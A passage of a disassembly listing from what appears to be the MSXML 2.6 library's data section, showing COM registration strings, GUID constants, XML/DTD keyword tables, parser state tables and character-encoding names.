dd offset aUnregpfactory ; "Unregpfactory"
aUnregpfactory db 'Unregpfactory',0 ; DATA XREF: .text:69B2597Co
align 10h
aRegpfactory db 'Regpfactory',0 ; DATA XREF: .text:69B25978o
aMsxml2_xslpa_0 db 'Msxml2.XSLPatternFactory.2.6',0 ; DATA XREF: .text:69B25974o
align 4
aMsxml2_xslpatt db 'Msxml2.XSLPatternFactory\CurVer',0 ; DATA XREF: .text:69B25970o
; .text:69B2B7ACo
aUnregxsltempla db 'Unregxsltemplate',0 ; DATA XREF: .text:69B2596Co
align 10h
aRegxsltemplate db 'Regxsltemplate',0 ; DATA XREF: .text:69B25968o
align 10h
aMsxml2_xslte_0 db 'Msxml2.XSLTemplate.2.6',0 ; DATA XREF: .text:69B25964o
align 4
aMsxml2_xsltemp db 'Msxml2.XSLTemplate\CurVer',0 ; DATA XREF: .text:69B25960o
; .text:69B2B7B8o
align 4
aUnregscache db 'Unregscache',0 ; DATA XREF: .text:69B2595Co
aRegscache db 'Regscache',0 ; DATA XREF: .text:69B25958o
align 4
aMsxml2_xmlsc_0 db 'Msxml2.XMLSchemaCache.2.6',0 ; DATA XREF: .text:69B25954o
align 4
aMsxml2_xmlsche db 'Msxml2.XMLSchemaCache\CurVer',0 ; DATA XREF: .text:69B25950o
; .text:69B2B7A0o
align 4
aUnregxmlhttp db 'Unregxmlhttp',0 ; DATA XREF: .text:69B2594Co
align 4
aRegxmlhttp db 'Regxmlhttp',0 ; DATA XREF: .text:69B25948o
align 4
aMsxml2_xmlht_0 db 'Msxml2.XMLHTTP.2.6',0 ; DATA XREF: .text:69B25944o
align 4
aMsxml2_xmlhttp db 'Msxml2.XMLHTTP\CurVer',0 ; DATA XREF: .text:69B25940o
; .text:69B2B788o
align 10h
aUnregxmldso db 'Unregxmldso',0 ; DATA XREF: .text:69B2593Co
aRegxmldso db 'Regxmldso',0 ; DATA XREF: .text:69B25938o
align 4
aMsxml2_dsoco_0 db 'Msxml2.DSOControl.2.6',0 ; DATA XREF: .text:69B25934o
align 10h
aMsxml2_dsocont db 'Msxml2.DSOControl\CurVer',0 ; DATA XREF: .text:69B25930o
; .text:69B2B770o
align 4
aUnregxmlparser db 'Unregxmlparser',0 ; DATA XREF: .text:69B2592Co
align 4
aRegxmlparser db 'Regxmlparser',0 ; DATA XREF: .text:69B25928o
align 4
aMsxml2_xmlpa_0 db 'Msxml2.XMLParser.2.6',0 ; DATA XREF: .text:69B25924o
align 4
aMsxml2_xmlpars db 'Msxml2.XMLParser\CurVer',0 ; DATA XREF: .text:69B25920o
; .text:69B2B794o
aUnregfreedom db 'Unregfreedom',0 ; DATA XREF: .text:69B2591Co
align 4
aRegfreedom db 'Regfreedom',0 ; DATA XREF: .text:69B25918o
align 4
aMsxml2_freet_0 db 'Msxml2.FreeThreadedDOM.2.6',0 ; DATA XREF: .text:69B25914o
align 4
aMsxml2_freethr db 'Msxml2.FreeThreadedDOMDocument\CurVer',0 ; DATA XREF: .text:69B25910o
; .text:69B2B77Co
align 4
aUnregdomdoc db 'Unregdomdoc',0 ; DATA XREF: .text:69B2590Co
aRegdomdoc db 'Regdomdoc',0 ; DATA XREF: .text:69B25908o
align 4
aMsxml2_domdo_0 db 'Msxml2.DOMDocument.2.6',0 ; DATA XREF: .text:69B25904o
align 4
aMsxml2_domdocu db 'Msxml2.DOMDocument\CurVer',0 ; DATA XREF: .text:69B25900o
; .text:69B2B764o
align 4
aUnregmsxml db 'Unregmsxml',0 ; DATA XREF: .text:69B258FCo
align 4
aRegmsxml db 'Regmsxml',0 ; DATA XREF: .text:69B258F8o
align 10h
aMsxml2 db 'Msxml2',0 ; DATA XREF: .text:69B258F0o
; .text:69B258F4o
align 4
aUnreg db 'Unreg',0 ; DATA XREF: .text:off_69B258ECo
align 10h
dword_69B25C40 dd 676552h ; const CHAR byte_69B25C44
byte_69B25C44 db 0 ; DATA XREF: sub_69B2B23E+41o
; sub_69B2B4A9+1CBo ...
align 4
; char aClsid2933bf9_1[]
aClsid2933bf9_1 db 'CLSID\{2933BF90-7B36-11d2-B20E-00C04F983E60}\SideBySide',0
; DATA XREF: sub_69B2BCC2+1Co
; sub_69B2BCF6+9o ...
; char aRegversion[]
aRegversion db 'RegVersion',0 ; DATA XREF: sub_69B2BCC2+17o
; sub_69B2BCF6+4o
align 4
; char phkResult[]
phkResult db 'CLSID\{2933BF90-7B36-11d2-B20E-00C04F983E60}',0
; DATA XREF: sub_69B2BCC2+4o
; sub_69B2BE45+FBo ...
align 4
; char aVersion26refco[]
aVersion26refco db 'Version26RefCount',0 ; DATA XREF: sub_69B2BD11+D0o
; sub_69B2BD11+110o ...
align 10h
; char aRefcount[]
aRefcount db 'RefCount',0 ; DATA XREF: sub_69B2BD11+3Bo
; sub_69B2BD11+85o ...
align 4
; char String1[]
String1 dd 362E32h ; DATA XREF: DllRegisterServer+11o
; DllUnregisterServer+12o
dword_69B25CE0 dd 2Fh ; .text:69B61DC8o
dword_69B25CE4 dd 948C5AD3h, 11D0C58Dh, 0C0000B9Ch, 8E9CC94Fh
; DATA XREF: sub_69B1C12C:loc_69B1EFCEo
; sub_69B440F8+7o
dword_69B25CF4 dd 0ED8C108Dh, 11D24349h, 0C000A491h, 0E869794Fh
; DATA XREF: .data:off_69B9A9C4o
dword_69B25D04 dd 3EFAA427h, 11D2272Fh, 6F83h, 82777AF8h ; sub_69B5CF03+1o ...
dword_69B25D14 dd 2933BF92h, 11D27B36h, 0C0000EB2h, 603E984Fh, 2933BF93h
; DATA XREF: .data:off_69B99284o
dd 11D27B36h, 0C0000EB2h, 603E984Fh
dword_69B25D34 dd 3EFAA425h, 11D2272Fh, 6F83h, 82777AF8h, 3EFAA426h, 11D2272Fh
; DATA XREF: .data:off_69B9A868o
dd 6F83h, 82777AF8h
dword_69B25D54 dd 2933BF8Eh, 11D27B36h, 0C0000EB2h, 603E984Fh
; DATA XREF: sub_69B1C04C:loc_69B24631o
; sub_69B448CA+14Fo ...
dword_69B25D64 dd 2933BF8Dh, 11D27B36h, 0C0000EB2h, 603E984Fh
; DATA XREF: sub_69B1C04C:loc_69B24667o
; sub_69B448CA+127o ...
dword_69B25D74 dd 2933BF8Ch, 11D27B36h, 0C0000EB2h, 603E984Fh
; DATA XREF: sub_69B1C04C:loc_69B24698o
; sub_69B448CA+13Bo ...
dword_69B25D84 dd 2933BF8Bh, 11D27B36h, 0C0000EB2h, 603E984Fh
; DATA XREF: sub_69B1C04C:loc_69B246CEo
; sub_69B448CA+163o ...
dword_69B25D94 dd 2933BF8Ah, 11D27B36h, 0C0000EB2h, 603E984Fh
; DATA XREF: sub_69B1C04C:loc_69B2456Eo
; sub_69B448CA+FBo ...
dword_69B25DA4 dd 2933BF89h, 11D27B36h, 0C0000EB2h, 603E984Fh
; DATA XREF: sub_69B1C04C+83CEo
; sub_69B448CA+77o ...
dword_69B25DB4 dd 2933BF88h, 11D27B36h, 0C0000EB2h, 603E984Fh
; DATA XREF: sub_69B1C04C:loc_69B24455o
; sub_69B448CA+98o ...
dword_69B25DC4 dd 2933BF87h, 11D27B36h, 0C0000EB2h, 603E984Fh
; DATA XREF: sub_69B1C04C:loc_69B2448Bo
; sub_69B448CA+DAo ...
dword_69B25DD4 dd 2933BF86h, 11D27B36h, 0C0000EB2h, 603E984Fh
; DATA XREF: sub_69B1C04C:loc_69B244C6o
; sub_69B448CA+48o ...
dword_69B25DE4 dd 2933BF85h, 11D27B36h, 0C0000EB2h, 603E984Fh
; DATA XREF: sub_69B1C04C:loc_69B244F6o
; sub_69B448CA+5Fo ...
dword_69B25DF4 dd 2933BF84h, 11D27B36h, 0C0000EB2h, 603E984Fh
; DATA XREF: sub_69B1C04C:loc_69B2452Co
; sub_69B448CA+B0o
dword_69B25E04 dd 2933BF82h, 11D27B36h, 0C0000EB2h, 603E984Fh ; sub_69B54E00+70o ...
dword_69B25E14 dd 2933BF95h, 11D27B36h, 0C0000EB2h, 603E984Fh
; DATA XREF: sub_69B1C12C:loc_69B1EF46o
; sub_69B448CA+18Ao ...
dword_69B25E24 dd 373984C8h, 449BB845h, 0AC45E791h, 0DE6A0383h
; DATA XREF: .data:off_69B984C4o
; .data:off_69B996A0o
; IID stru_69B25E34
stru_69B25E34 dd 2933BF81h ; Data1 ; DATA XREF: sub_69B1C12C+2D4Do
; sub_69B3D28C+25o ...
dw 7B36h ; Data2
dw 11D2h ; Data3
db 0B2h, 0Eh, 0, 0C0h, 4Fh, 98h, 3Eh, 60h; Data4
dword_69B25E44 dd 3EFAA413h, 11D2272Fh, 6F83h, 82777AF8h
; DATA XREF: sub_69B1C04C:loc_69B245FBo
; sub_69B448CA+113o ...
dword_69B25E54 dd 2933BF80h, 11D27B36h, 0C0000EB2h, 603E984Fh, 2933BF8Fh
; DATA XREF: sub_69B1C04C:loc_69B24567o
; sub_69B448CA+35o ...
dd 11D27B36h, 0C0000EB2h, 603E984Fh
dword_69B25E74 dd 0C9407B83h, 496A04E7h, 67A526AFh, 86CCEF7Ah ; sub_69B3930C+3o
; IID stru_69B25E84
stru_69B25E84 dd 0D242361Eh ; Data1 ; DATA XREF: sub_69B1C12C:loc_69B1F121o
; sub_69B375FD+44o ...
dw 51A0h ; Data2
dw 11D2h ; Data3
db 9Ch, 0AFh, 0, 60h, 0B0h, 0ECh, 3Dh, 39h; Data4
off_69B25E94 dd offset dword_69B18894 ; DATA XREF: .text:off_69B2A4F4o
; .text:off_69B2B19Co ...
dd 0
; char OutputString[]
OutputString db 'System Error related to ShareMutex',27h,'s Semaphore!!!',0Ah,0
; DATA XREF: sub_69B1AE5D:loc_69B23427o
; sub_69B19B0D:loc_69B23482o
align 10h
dword_69B25ED0 dd 0FFFFE000h ; sub_69B2E3BD+7r ...
dword_69B25ED4 dd 0F5078F2Ch, 11D3C551h, 0B989h, 21E21FF8h
; DATA XREF: sub_69B1C04C:loc_69B247F0o
; sub_69B2D67E+1Co
aNull db 'null',0 ; DATA XREF: .data:off_69B96388o
align 4
aFalse: ; DATA XREF: .text:69B5EE10o
; sub_69B60C8B:loc_69B60E0Fo ...
unicode 0, <false>,0
aTrue: ; DATA XREF: .text:69B5EEB8o
; sub_69B60C8B:loc_69B60E05o ...
unicode 0, <true>,0
align 8
word_69B25F08 dw 8 ; DATA XREF: sub_69B2FB83+7r
; sub_69B3078B+1Dr
align 4
dword_69B25F0C dd 0 ; sub_69B30C4F+B7r
dword_69B25F10 dd 0 dd 8, 2 dup(0)
dd 8, 2 dup(0)
dd 8, 2 dup(0)
dd 8, 2 dup(0)
dd 8, 2 dup(0)
dd 8, 2 dup(0)
dd 8, 2 dup(0)
dd 8, 2 dup(0)
dd 8, 2 dup(0)
dd 8, 2 dup(0)
dd 8, 2 dup(0)
dd 2011h, 40h, 0
dd 2011h, 40h, 0
dd 0Bh, 3, 4, 3, 2 dup(0)
dd 7, 2 dup(0)
dd 7, 2 dup(0)
dd 7, 2 dup(0)
dd 6, 317h, 40h, 5, 917h, 20h, 4, 917h, 10h, 5, 917h, 20h
dd 10h, 17h, 10000h, 2, 17h, 4, 3, 17h, 2 dup(8), 17h
dd 0
dd 3, 17h, 2 dup(8), 917h, 20h, 4, 917h, 10h, 5, 917h
dd 20h, 7, 2 dup(0)
dd 7, 2 dup(0)
dd 11h, 3, 20000h, 12h, 3, 40000h, 13h, 3, 80000h, 8, 3
dd 0
dd 8, 2 dup(0)
dd 8, 3 dup(0)
aAbcdefghijklmn: ; DATA XREF: sub_69B3065C+3Co
; sub_69B30A74+9Er ...
unicode 0, <ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234>
unicode 0, <56789+/>,0
align 4
a?userDefined?: ; DATA XREF: .data:69B9642Co
unicode 0, <?user-defined?>,0
align 4
aNumber: ; DATA XREF: .text:69B210E0o
; .text:69B5EE68o ...
unicode 0, <number>,0
align 4
aFloat_ieee_7_1: ; DATA XREF: .data:69B963E8o
unicode 0, <float.IEEE.754.64>,0
aFloat_ieee_7_2: ; DATA XREF: .data:69B963E4o
unicode 0, <float.IEEE.754.32>,0
aDatetime_tz_0: ; DATA XREF: .data:69B963D8o
unicode 0, <dateTime.tz>,0
aDatetime_0: ; DATA XREF: .data:69B963D4o
unicode 0, <dateTime>,0
align 4
aDate: ; DATA XREF: .text:69B21038o
; sub_69B60C8B:loc_69B60D29o ...
unicode 0, <date>,0
align 4
aBoolean: ; DATA XREF: .text:69B21028o
; .text:off_69B5EDE0o ...
unicode 0, <boolean>,0
; OLECHAR word_69B26224
word_69B26224 dw 0 ; DATA XREF: sub_69B3AFB0+22o
; sub_69B60C8B:loc_69B60E2Do ...
align 4
off_69B26228 dd offset dword_69B18894 ; DATA XREF: sub_69B3148Fo
; .text:off_69B318A4o
dd offset sub_69B315C2
word_69B26230 dw 0FEFFh ; DATA XREF: sub_69B35A2B+2Eo
; sub_69B39A0F+72o ...
align 8
dword_69B26238 dd 18h, 0 dd 1, 2 dup(0)
dd 1, 0
dd 2, 2 dup(0)
dd 4
dd offset asc_69B270E4 ; "\""
dd 4, 3, 0
dd 4
dd offset asc_69B270E0 ; "'"
dd 4, 9, 0
dd 7, 0
db 5, 4 dup(0)
align 4
dd 0
dd 6, 0
dd 6, 15h, 0FFFFFFFFh, 2 dup(0)
dd 7, 2 dup(0)
dd 2
dd offset asc_69B270DC ; ">"
dd 8, 0C00CE50Ah, 0
dd 0Ah, 2 dup(0)
dd 42h, 0
dd 8, 0
dd 0Ah, 2 dup(0)
dd 0Bh, 0
dd 7, 0Bh, 3 dup(0)
dd 0Ch, 2 dup(0)
dd 2
dd offset asc_69B270DC ; ">"
dd 8, 0Dh, 0
db 5, 4 dup(0)
align 4
dd 0Eh, 2 dup(0)
dd 9
dd offset aNdata_0 ; "NDATA"
dd 0Fh, 0C00CE570h, 24h, 1, 0
dd 10h, 2 dup(0)
align 10h
dd 11h, 2 dup(0)
dd 6, 0
dd 6, 13h, 0
dword_69B263A0 dd 1, 0 dd 1, 2 dup(0)
db 5, 4 dup(0)
align 4
dd 2, 2 dup(0)
dd 6, 0
dd 3, 0Ah, 0
dd 1, 0
dd 4, 2 dup(0)
dd 8, 0
dd 5, 1, 3 dup(0)
dd 6, 2 dup(0)
dd 2
dd offset asc_69B270DC ; ">"
dd 7, 0C00CE50Ah, 0
dd 0Ah, 2 dup(0)
dd 42h, 0
dword_69B26440 dd 1, 0 dd 1, 2 dup(0)
db 5, 4 dup(0)
align 4
dd 2, 2 dup(0)
dd 6, 0
dd 3, 5, 0
dd 0Bh, 0
dd 9, 4, 3 dup(0)
db 5, 4 dup(0)
align 10h
dd 0
dd 2
dd offset asc_69B270CC ; "["
dd 0Ah, 6, 0
dd 2
dd offset asc_69B270DC ; ">"
dd 0Dh, 7, 0
dd 8, 0
dd 8, 4 dup(0)
dd 9, 2 dup(0)
dd 2
dd offset asc_69B270CC ; "["
dd 0Ah, 0Bh, 0
dd 0Ch, 0
dd 0Bh, 4 dup(0)
dd 0Ch, 2 dup(0)
dd 2
dd offset asc_69B270DC ; ">"
dd 0Dh, 0C00CE50Ah, 0
dd 0Ah, 2 dup(0)
dword_69B26550 dd 42h, 3 dup(0) ; .text:69B26688o ...
dd 1, 2 dup(0)
dd 2
dd offset asc_69B270C8 ; "("
dd 2, 3, 0
dd 0Fh
dd offset dword_69B26550+8
dd 5, 0Bh, 0
db 5, 4 dup(0)
align 4
dd 4, 2 dup(0)
dd 6, 0
dd 5, 13h, 0
dd 2
dd offset a?_3 ; "?"
dd 8, 6, 39h, 2
dd offset dword_69B122A4
dd 8, 7, 37h, 2
dd offset asc_69B270C0 ; "+"
dd 2 dup(8), 38h, 2 dup(0)
dd 9, 2 dup(0)
dd 2
dd offset asc_69B270BC ; "|"
dd 0Dh, 0Ah, 36h, 2
dd offset asc_69B270B8 ; ","
dd 18h, 0Bh, 35h, 2
dd offset asc_69B270B4 ; ")"
dd 23h, 0C00CE517h, 43h, 0Ah, 6 dup(0)
dd 0Eh, 2 dup(0)
dd 2
dd offset asc_69B270C8 ; "("
dd 0Fh, 10h, 0
dd 0Fh
dd offset dword_69B26550+8
dd 12h, 0Bh, 0
align 10h
dd 11h, 2 dup(0)
dd 6, 0
dd 12h, 13h, 0
dd 2
dd offset a?_3 ; "?"
dd 15h, 13h, 39h, 2
dd offset dword_69B122A4
dd 15h, 14h, 37h, 2
dd offset asc_69B270C0 ; "+"
dd 2 dup(15h), 38h, 2 dup(0)
dd 16h, 2 dup(0)
dd 2
dd offset asc_69B270BC ; "|"
dd 0Dh, 17h, 36h, 2
dd offset asc_69B270B4 ; ")"
dd 23h, 0C00CE517h, 43h, 2 dup(0)
dd 19h, 2 dup(0)
dd 2
dd offset asc_69B270C8 ; "("
dd 1Ah, 1Bh, 0
dd 0Fh
dd offset dword_69B26550+8
dd 1Dh, 0Bh, 0
db 5, 4 dup(0)
align 4
dd 1Ch, 2 dup(0)
dd 6, 0
dd 1Dh, 13h, 0
dd 2
dd offset a?_3 ; "?"
dd 20h, 1Eh, 39h, 2
dd offset dword_69B122A4
dd 20h, 1Fh, 37h, 2
dd offset asc_69B270C0 ; "+"
dd 2 dup(20h), 38h, 2 dup(0)
dd 21h, 2 dup(0)
dd 2
dd offset asc_69B270B8 ; ","
dd 18h, 22h, 35h, 2
dd offset asc_69B270B4 ; ")"
dd 23h, 0C00CE517h, 43h, 2
dd offset a?_3 ; "?"
dd 26h, 24h, 39h, 2
dd offset dword_69B122A4
dd 26h, 25h, 37h, 2
dd offset asc_69B270C0 ; "+"
dword_69B26844 dd 2 dup(26h), 38h, 0Ah, 7 dup(0)
dd 1, 2 dup(0)
dd 2
dd offset asc_69B270B0 ; "#"
dd 2, 10h, 0
dd 0Eh, 0
dd 3, 2 dup(0)
dd 9
dd offset aPcdata_0 ; "#PCDATA"
dd 4, 0C00CE571h, 34h, 2 dup(0)
db 5, 4 dup(0)
align 4
dd 0
dd 2
dd offset asc_69B270B4 ; ")"
dd 11h, 6, 43h, 2
dd offset asc_69B270BC ; "|"
dd 7, 0C00CE515h, 36h, 2 dup(0)
dd 8, 2 dup(0)
align 10h
dd 9, 2 dup(0)
dd 6, 0
dd 0Ah, 13h, 3 dup(0)
dd 0Bh, 2 dup(0)
dd 2
dd offset asc_69B270B4 ; ")"
dd 0Dh, 0Ch, 43h, 2
dd offset asc_69B270BC ; "|"
dd 7, 0C00CE515h, 36h, 2
dd offset dword_69B122A4
dd 0Eh, 0C00CE516h, 0
dd 6, 0
dd 0Fh, 37h, 0
dd 0Ah, 4 dup(0)
dd 10h
dd offset dword_69B26550+8
dd 3 dup(0)
dd 2
dd offset dword_69B122A4
dd 0Eh, 0Fh, 0
dword_69B269D0 dd 1, 0 dd 1, 2 dup(0)
db 5, 4 dup(0)
align 4
dd 2, 2 dup(0)
dd 6, 0
dd 3, 8, 0
dd 1, 0
dd 4, 2 dup(0)
dd 2
dd offset asc_69B270C8 ; "("
dd 8, 5, 0
db 5, 4 dup(0)
align 4
dd 6, 2 dup(0)
dd 9
dd offset aEmpty_1 ; "EMPTY"
dd 9, 7, 32h, 9
dd offset aAny_1 ; "ANY"
dd 9, 0C00CE571h, 33h, 0Fh
dd offset dword_69B26844+24h
dd 9, 0Bh, 3 dup(0)
dd 0Ah, 2 dup(0)
dd 2
dd offset asc_69B270DC ; ">"
dd 0Bh, 0C00CE50Ah, 0
dd 0Ah, 2 dup(0)
dd 42h, 0
dword_69B26AC0 dd 1, 0 ; sub_69B33E72:loc_69B341BDo
dd 1, 2 dup(0)
db 5, 4 dup(0)
align 4
dd 2, 2 dup(0)
dd 6, 0
dd 3, 9, 3 dup(0)
dd 4, 2 dup(0)
dd 2
dd offset asc_69B270DC ; ">"
dd 5, 7, 0
dd 0Ah, 2 dup(0)
dd 42h, 0
dd 1, 0
dd 7, 2 dup(0)
db 5, 4 dup(0)
align 4
dd 8, 2 dup(0)
dd 6, 0
dd 9, 18h, 0
dd 1, 0
dd 0Ah, 2 dup(0)
dd 2
dd offset asc_69B270C8 ; "("
dd 20h, 2 dup(0Bh), 5, 0
dd 0Ch, 2 dup(0)
dd 9
dd offset aCdata_3 ; "CDATA"
dd 17h, 0Dh, 25h, 9
dd offset aId_1 ; "ID"
dd 17h, 0Eh, 26h, 9
dd offset aIdref_0 ; "IDREF"
dd 17h, 0Fh, 27h, 9
dd offset aIdrefs_0 ; "IDREFS"
dd 17h, 10h, 28h, 9
dd offset aEntity_1 ; "ENTITY"
dd 17h, 11h, 29h, 9
dd offset aEntities_0 ; "ENTITIES"
dd 17h, 12h, 2Ah, 9
dd offset aNmtoken_0 ; "NMTOKEN"
dd 17h, 13h, 2Bh, 9
dd offset aNmtokens_0 ; "NMTOKENS"
dd 17h, 14h, 2Ch, 9
dd offset aNotation_1 ; "NOTATION"
dd 15h, 0C00CE572h, 2Dh, 1, 0
dd 16h, 2 dup(0)
dd 2
dd offset asc_69B270C8 ; "("
dd 26h, 0C00CE518h, 0Bh, 1, 0
dd 18h, 2 dup(0)
dd 2
dd offset asc_69B270B0 ; "#"
dd 19h, 1Eh, 0
dd 0Eh, 0
dd 1Ah, 2 dup(0)
dd 9
dd offset aRequired_0 ; "#REQUIRED"
dd 3, 1Bh, 2Eh, 9
dd offset aImplied ; "#IMPLIED"
dd 3, 1Ch, 2Fh, 9
dd offset aFixed ; "#FIXED"
dd 1Dh, 0C00CE575h, 30h, 1, 0
dd 1Eh, 2 dup(0)
dd 17h, 0
dd 3, 1, 8 dup(0)
dd 21h, 2 dup(0)
dd 0Eh, 0
dd 22h, 1, 0
dd 6, 0
dd 23h, 14h, 3 dup(0)
dd 24h, 2 dup(0)
dd 2
dd offset asc_69B270BC ; "|"
dd 20h, 25h, 0
dd 2
dd offset asc_69B270B4 ; ")"
dd 17h, 0C00CE519h, 43h, 2 dup(0)
dd 27h, 2 dup(0)
db 5, 4 dup(0)
align 4
dd 28h, 2 dup(0)
dd 6, 0
dd 29h, 13h, 3 dup(0)
dd 2Ah, 2 dup(0)
dd 2
dd offset asc_69B270BC ; "|"
dd 26h, 2Bh, 0
dd 2
dd offset asc_69B270B4 ; ")"
dd 17h, 0C00CE519h, 43h
dword_69B26E30 dd 2 ; sub_69B3576E+FAo
dd offset asc_69B26FC4 ; "!"
dd 1, 0C00CE512h, 0
dd 4
dd offset asc_69B26FC0 ; "-"
dd 2, 4, 0
dd 11h, 0
dd 3, 2 dup(0)
dd 0Ah, 4 dup(0)
dd 4
dd offset asc_69B270CC ; "["
dd 5, 6, 0
dd 12h, 0
dd 3, 2 dup(0)
align 10h
dd 7, 2 dup(0)
dd 9
dd offset aDoctype_1 ; "DOCTYPE"
dd 8, 9, 0
dd 10h
dd offset dword_69B26440
dd 3 dup(0)
dd 9
dd offset aElement_0 ; "ELEMENT"
dd 0Ah, 0Bh, 0
dd 10h
dd offset dword_69B269D0
dd 3 dup(0)
dd 9
dd offset aEntity_1 ; "ENTITY"
dd 0Ch, 0Dh, 0
dd 10h
dd offset dword_69B26238
dd 3 dup(0)
dd 9
dd offset aAttlist ; "ATTLIST"
dd 0Eh, 0Fh, 0
dd 10h
dd offset dword_69B26AC0
dd 3 dup(0)
dd 9
dd offset aNotation_1 ; "NOTATION"
dd 10h, 0C00CE565h, 0
dd 10h
dd offset dword_69B263A0
dd 4 dup(0)
a1_0: ; DATA XREF: .text:69B21A04o
; sub_69B59F43+44o ...
unicode 0, <1.0>,0
aAttlist: ; DATA XREF: .text:69B26F38o
unicode 0, <ATTLIST>,0
aElement_0: ; DATA XREF: .text:69B26EE8o
unicode 0, <ELEMENT>,0
aDoctype_1: ; DATA XREF: .text:69B26EC0o
unicode 0, <DOCTYPE>,0
asc_69B26FC0: ; DATA XREF: .text:69B26E48o
; sub_69B60C8B:loc_69B610E7o ...
unicode 0, <->,0
asc_69B26FC4: ; DATA XREF: .text:69B26E34o
; sub_69B60C8B:loc_69B6104Do ...
unicode 0, <!>,0
aFixed: ; DATA XREF: .text:69B26CF4o
unicode 0, <#FIXED>,0
align 4
aImplied: ; DATA XREF: .text:69B26CE0o
unicode 0, <#IMPLIED>,0
align 4
aRequired_0: ; DATA XREF: .text:69B26CCCo
unicode 0, <#REQUIRED>,0
aNotation_1: ; DATA XREF: .text:69B26C54o
; .text:69B26F60o
unicode 0, <NOTATION>,0
align 4
aNmtokens_0: ; DATA XREF: .text:69B26C40o
unicode 0, <NMTOKENS>,0
align 4
aNmtoken_0: ; DATA XREF: .text:69B26C2Co
unicode 0, <NMTOKEN>,0
aEntities_0: ; DATA XREF: .text:69B26C18o
unicode 0, <ENTITIES>,0
align 4
aEntity_1: ; DATA XREF: .text:69B26C04o
; .text:69B26F10o
unicode 0, <ENTITY>,0
align 4
aIdrefs_0: ; DATA XREF: .text:69B26BF0o
unicode 0, <IDREFS>,0
align 4
aIdref_0: ; DATA XREF: .text:69B26BDCo
unicode 0, <IDREF>,0
aId_1: ; DATA XREF: .text:69B26BC8o
unicode 0, <ID>,0
align 10h
aCdata_3: ; DATA XREF: .text:69B26BB4o
; .data:off_69B98430o
unicode 0, <CDATA>,0
aAny_1: ; DATA XREF: .text:69B26A60o
unicode 0, <ANY>,0
aEmpty_1: ; DATA XREF: .text:69B26A4Co
unicode 0, <EMPTY>,0
aPcdata_0: ; DATA XREF: .text:69B268A8o
unicode 0, <#PCDATA>,0
asc_69B270B0: ; DATA XREF: .text:69B26880o
; .text:69B26CA4o ...
unicode 0, <#>,0
asc_69B270B4: ; DATA XREF: .text:69B26638o
; .text:69B26728o ...
unicode 0, <)>,0
asc_69B270B8: ; DATA XREF: .text:69B26624o
; .text:69B267F0o ...
unicode 0, <,>,0
asc_69B270BC: ; DATA XREF: .text:69B26610o
; .text:69B26714o ...
unicode 0, <|>,0
asc_69B270C0: ; DATA XREF: .text:69B265E8o
; .text:69B266ECo ...
unicode 0, <+>,0
a?_3: ; DATA XREF: .text:69B21824o
; .text:69B2184Co ...
unicode 0, <?>,0
asc_69B270C8: ; DATA XREF: .text:69B26570o
; .text:69B26674o ...
unicode 0, <(>,0
asc_69B270CC: ; DATA XREF: .text:69B264A8o
; .text:69B264F8o ...
unicode 0, <[>,0
; const WCHAR aNdata_0
aNdata_0: ; DATA XREF: .text:69B26354o
; sub_69B54490+4o
unicode 0, <NDATA>,0
; const WCHAR asc_69B270DC
asc_69B270DC: ; DATA XREF: .text:69B219B4o
; .text:69B262C8o ...
dw 3Eh
unicode 0, <>,0
asc_69B270E0: ; DATA XREF: .text:69B26278o
; .text:69B346FCo ...
dw 27h
unicode 0, <>,0
; const WCHAR asc_69B270E4
asc_69B270E4: ; DATA XREF: .text:69B26264o
; .text:69B346E8o ...
unicode 0, <">,0
aGt: ; DATA XREF: .text:69B1FE48o
; sub_69B31B59+72o
unicode 0, <gt>,0
align 10h
aLt: ; DATA XREF: .text:69B1FF60o
; sub_69B31B59+5Co
unicode 0, <lt>,0
align 4
aAmp: ; DATA XREF: .text:69B1FCA8o
; sub_69B31B59+46o
unicode 0, <amp>,0
aApos: ; DATA XREF: .text:69B1FCC0o
; sub_69B31B59+30o
unicode 0, <apos>,0
align 4
aQuot: ; DATA XREF: .text:69B200E0o
; sub_69B31B59+1Ao
unicode 0, <quot>,0
align 4
; const WCHAR aXml
aXml: ; DATA XREF: sub_69B2132A+34Eo
; sub_69B34F0F+1B0o ...
unicode 0, <xml>,0
; const WCHAR aXmlns
aXmlns: ; DATA XREF: sub_69B34F0F+15Eo
; sub_69B3D5BC+Fo ...
unicode 0, <xmlns>,0
aPi: ; DATA XREF: .text:69B200A0o
; sub_69B60C8B:loc_69B60F8Fo ...
unicode 0, <pi>,0
align 4
aOr_0: ; DATA XREF: .text:69B20038o
; sub_69B60C8B:loc_69B60F5Do ...
unicode 0, <or>,0
align 4
aNot_0: ; DATA XREF: .text:69B1FFD0o
; .text:69B5EE60o ...
unicode 0, <not>,0
aAnd_0: ; DATA XREF: .text:69B1FCB0o
; sub_69B60C8B:loc_69B60F53o ...
unicode 0, <and>,0
aUcs4: ; DATA XREF: .text:69B272A8o
; .data:off_69B98434o
unicode 0, <UCS-4>,0
aUcs2: ; DATA XREF: .text:69B27290o
; .data:off_69B98438o
unicode 0, <UCS-2>,0
aUtf7: ; DATA XREF: .data:off_69B9843Co
unicode 0, <UTF-7>,0
; const WCHAR aUtf8
aUtf8: ; DATA XREF: .text:69B27338o
; sub_69B360BA+25o ...
unicode 0, <UTF-8>,0
; const WCHAR aTextXml_0
aTextXml_0: ; DATA XREF: sub_69B7C89C+F7o
; sub_69B7D890+20o ...
unicode 0, <text/xml>,0
align 10h
off_69B27190 dd offset sub_69B367F2 ; DATA XREF: sub_69B3659D+Ao
; sub_69B36793+18o
align 8
dword_69B27198 dd 4B0h ; sub_69B370C8:loc_69B37119r
byte_69B2719C db 0 ; DATA XREF: sub_69B370C8+38r
align 10h
off_69B271A0 dd offset aIso10646Ucs2 ; DATA XREF: sub_69B3693B+7r
; "iso-10646-ucs-2"
dword_69B271A4 dd 2 off_69B271A8 dd offset sub_69B36B7A ; DATA XREF: sub_69B371A8+36r
off_69B271AC dd offset sub_69B36D2A ; DATA XREF: sub_69B37251+36r
dd 6FAFh, 1
dd offset aIso88591 ; "iso-8859-1"
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 6FB0h, 1
dd offset aIso88592 ; "iso-8859-2"
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 6FB1h, 1
dd offset aIso88593 ; "iso-8859-3"
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 6FB2h, 1
dd offset aIso88594 ; "iso-8859-4"
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 6FB3h, 1
dd offset aIso88595 ; "iso-8859-5"
